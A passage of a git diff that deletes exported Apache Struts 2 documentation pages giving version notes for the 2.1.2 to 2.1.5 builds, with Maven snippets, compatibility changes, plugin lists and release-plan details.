-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=84322">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=84322">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=84322">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=84322">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=84322">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.2 build.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes on the the prior release series, see <a shape="rect" href="version-notes-211.html">Version Notes 2.1.1</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.1.2&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.2-Backwardcompatibilityissueswithpreviousversions">Backward compatibility issues with previous versions</h2>
-
-<ul><li>Since 2.1.0: All default result names and interceptor names are now in camelCase (eg. was redirect-action, is now redirectAction)</li><li>Since 2.1.0: The "ajax" theme is provided by the Dojo Plugin. Applications using the ajax theme must include the Dojo Plugin dependency and modify existing pages to import the plugin's own taglib/model</li><li>Since 2.1.0 Tiles plugin: A DOCTYPE is now mandatory in the Tiles definitions XML</li><li>Since 2.1.1: The immutable Configuration objec [...]
-
-
-<h2 id="VersionNotes2.1.2-NewFeaturesandPlugins">New Features and Plugins</h2>
-
-<ul><li>JUnit support moved to plugin (Since 2.1.1)</li><li>TestNG support moved to plugin (Since 2.1.1)</li><li>DWR support moved to plugin (Since 2.1.1)</li><li>Portlet support moved to plugin (Since 2.1.0)</li></ul>
-
-
-<h3 id="VersionNotes2.1.2-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21861">JIRA Release Notes 2.1.2</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.2-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;&amp;pid=10030&amp;resolution=1&amp;fixfor=21861&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.1 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter/order=DESC&amp;sorter/field=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21861">Struts 2. [...]
-
-
-<h3 id="VersionNotes2.1.2-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/troubleshooting-guide-migrating-from-struts-20x-to-21x.html">Migrating from Struts 2.0 [...]
-
-
-<h2 id="VersionNotes2.1.2-Build/ReleasePlan">Build/Release Plan</h2>
-
-<ul><li>Struts 2.1.2 will be the third milestone/test-build in the 2.1.x series.
-	<ul><li>There is yet to be a GA release in this series.</li></ul>
-	</li><li>The Build/Release Managers is Don Brown</li><li>The proposed tag date for the build is 2 May, 2008</li></ul>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-213.html b/content/docs/version-notes-213.html
deleted file mode 100644
index aa484cd..0000000
--- a/content/docs/version-notes-213.html
+++ /dev/null
@@ -1,218 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.3</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-213.html">Version Notes 2.1.3</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.3</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105930">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105930">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105930">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105930">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105930">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105930">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.3 build.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes on the the prior release series, see <a shape="rect" href="version-notes-212.html">Version Notes 2.1.2</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.1.3&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.3-Backwardcompatibilityissueswithpreviousversions">Backward compatibility issues with previous versions</h2>
-
-<ul><li>Since 2.1.3: This settings need to be added to struts.xml to make the REST plugin work with the Codebehind plugin:
- <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.codebehind.classSuffix" value="Controller"/&gt;
-&lt;constant name="struts.codebehind.action.checkImplementsAction" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.checkAnnotation" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.defaultMethodName" value="index"/&gt;
-&lt;constant name="struts.configuration.classpath.defaultParentPackage" value="rest-default" /&gt;
- </pre>
-</div></div></li><li>Since 2.1.3: includeParams will default to <strong>none</strong></li><li>Since 2.1.3: cssClass and cssStyle attributes will be applied to the ul tags, instead of li in actionerror,actionmessage and fielderror tags</li><li>Since 2.1.0: All default result names and interceptor names are now in camelCase (eg. was redirect-action, is now redirectAction)</li><li>Since 2.1.0: The "ajax" theme is provided by the Dojo Plugin. Applications using the ajax theme must include th [...]
-
-
-<h2 id="VersionNotes2.1.3-NewFeaturesandPlugins">New Features and Plugins</h2>
-<ul><li>Javatemplates plugin available (Since 2.1.3)</li><li>Convention plugin available (Since 2.1.3)</li><li>JUnit support moved to plugin (Since 2.1.1)</li><li>TestNG support moved to plugin (Since 2.1.1)</li><li>DWR support moved to plugin (Since 2.1.1)</li><li>Portlet support moved to plugin (Since 2.1.0)</li></ul>
-
-
-<h2 id="VersionNotes2.1.3-DeprecatedFeaturesandPlugins">Deprecated Features and Plugins</h2>
-<ul><li>Ajax tags were refactored into the Dojo plugin which has been deprecated (Since 2.1.3)</li><li>Codebehind plugin has been deprecated (Since 2.1.3)</li></ul>
-
-
-<h3 id="VersionNotes2.1.3-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21864">JIRA Release Notes 2.1.3</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.3-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;&amp;pid=10030&amp;resolution=1&amp;fixfor=21864&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.3 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter/order=DESC&amp;sorter/field=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21864">Struts 2. [...]
-
-
-<h3 id="VersionNotes2.1.3-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/troubleshooting-guide-migrating-from-struts-20x-to-21x.html">Migrating from Struts 2.0 [...]
-
-
-<h2 id="VersionNotes2.1.3-Build/ReleasePlan">Build/Release Plan</h2>
-
-<ul><li>Struts 2.1.3 was voted as a test build
-	<ul><li>There is yet to be a GA release in this series.</li></ul>
-	</li><li>The Build/Release Managers is Musachy Barroso</li><li>The proposed tag date for the build is 25th Dec, 2008</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-214.html b/content/docs/version-notes-214.html
deleted file mode 100644
index d59c30a..0000000
--- a/content/docs/version-notes-214.html
+++ /dev/null
@@ -1,218 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Version Notes 2.1.4</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="version-notes-214.html">Version Notes 2.1.4</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Version Notes 2.1.4</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106198">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106198">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106198">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106198">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> These are the notes for the Struts 2.1.4 build.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For prior notes on the the prior release series, see <a shape="rect" href="version-notes-214.html">Version Notes 2.1.4</a></p>
-
-<ul><li>If you are a Maven user, you might want to get started using the <a shape="rect" href="struts-maven-archetypes.html">Maven Archetype</a>.</li><li>Another quick-start entry point is the <strong>blank</strong> application. Rename and deploy the WAR as a starting point for your own development.</li></ul>
-
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Maven Dependency</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-  &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-core&lt;/artifactId&gt;
-      &lt;version&gt;2.1.4&lt;/version&gt;
-&lt;/dependency&gt;</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snapshot Repository</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&lt;repositories&gt;
-  &lt;repository&gt;
-    &lt;id&gt;apache.snapshots&lt;/id&gt;
-    &lt;name&gt;ASF Maven 2 Snapshot&lt;/name&gt;
-    &lt;url&gt;http://people.apache.org/repo/m2-snapshot-repository&lt;/url&gt;
-  &lt;/repository&gt;
-&lt;/repositories&gt;</pre>
-</div></div>
-
-<h2 id="VersionNotes2.1.4-Backwardcompatibilityissueswithpreviousversions">Backward compatibility issues with previous versions</h2>
-
-<ul><li>Since 2.1.3: This settings need to be added to struts.xml to make the REST plugin work with the Codebehind plugin:
- <div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.codebehind.classSuffix" value="Controller"/&gt;
-&lt;constant name="struts.codebehind.action.checkImplementsAction" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.checkAnnotation" value="false"/&gt;
-&lt;constant name="struts.codebehind.action.defaultMethodName" value="index"/&gt;
-&lt;constant name="struts.configuration.classpath.defaultParentPackage" value="rest-default" /&gt;
- </pre>
-</div></div></li><li>Since 2.1.3: includeParams will default to <strong>none</strong></li><li>Since 2.1.3: cssClass and cssStyle attributes will be applied to the ul tags, instead of li in actionerror,actionmessage and fielderror tags</li><li>Since 2.1.0: All default result names and interceptor names are now in camelCase (eg. was redirect-action, is now redirectAction)</li><li>Since 2.1.0: The "ajax" theme is provided by the Dojo Plugin. Applications using the ajax theme must include th [...]
-
-
-<h2 id="VersionNotes2.1.4-NewFeaturesandPlugins">New Features and Plugins</h2>
-<ul><li>Javatemplates plugin available (Since 2.1.3)</li><li>Convention plugin available (Since 2.1.3)</li><li>JUnit support moved to plugin (Since 2.1.1)</li><li>TestNG support moved to plugin (Since 2.1.1)</li><li>DWR support moved to plugin (Since 2.1.1)</li><li>Portlet support moved to plugin (Since 2.1.0)</li></ul>
-
-
-<h2 id="VersionNotes2.1.4-DeprecatedFeaturesandPlugins">Deprecated Features and Plugins</h2>
-<ul><li>Ajax tags were refactored into the Dojo plugin which has been deprecated (Since 2.1.3)</li><li>Codebehind plugin has been deprecated (Since 2.1.3)</li></ul>
-
-
-<h3 id="VersionNotes2.1.4-IssueDetail">Issue Detail </h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ReleaseNote.jspa?projectId=10030&amp;styleName=Html&amp;version=21864">JIRA Release Notes 2.1.4</a></li></ul>
-
-
-<h3 id="VersionNotes2.1.4-IssueList">Issue List</h3>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;&amp;pid=10030&amp;resolution=1&amp;fixfor=21865&amp;sorter/field=priority&amp;sorter/order=DESC">Struts 2.1.4 DONE </a></li><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?reset=true&amp;mode=hide&amp;sorter/order=DESC&amp;sorter/field=priority&amp;resolution=-1&amp;pid=10030&amp;fixfor=21865">Struts 2. [...]
-
-
-<h3 id="VersionNotes2.1.4-Otherresources">Other resources </h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.mail-archive.com/commits%40struts.apache.org/" rel="nofollow">Commit Logs (Struts 1 and Struts 2)</a></li><li><a shape="rect" class="external-link" href="http://svn.apache.org/viewvc/struts/struts2/trunk/">Source Code Repository (includes change browsing)</a></li><li><a shape="rect" class="external-link" href="http://cwiki.apache.org/S2WIKI/troubleshooting-guide-migrating-from-struts-20x-to-21x.html">Migrating from Struts 2.0 [...]
-
-
-<h2 id="VersionNotes2.1.4-Build/ReleasePlan">Build/Release Plan</h2>
-
-<ul><li>Struts 2.1.4 will be the fourth milestone in the 2.1.x series.
-	<ul><li>There is yet to be a GA release in this series.</li></ul>
-	</li><li>The Build/Release Managers is Musachy Barroso</li><li>The proposed tag date for the build is 30th Dec, 2008</li></ul></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/version-notes-215.html b/content/docs/version-notes-215.html
deleted file mode 100644
index 88e2fee..0000000
--- a/content/docs/version-notes-215.html
+++ /dev/null
@@ -1,216 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
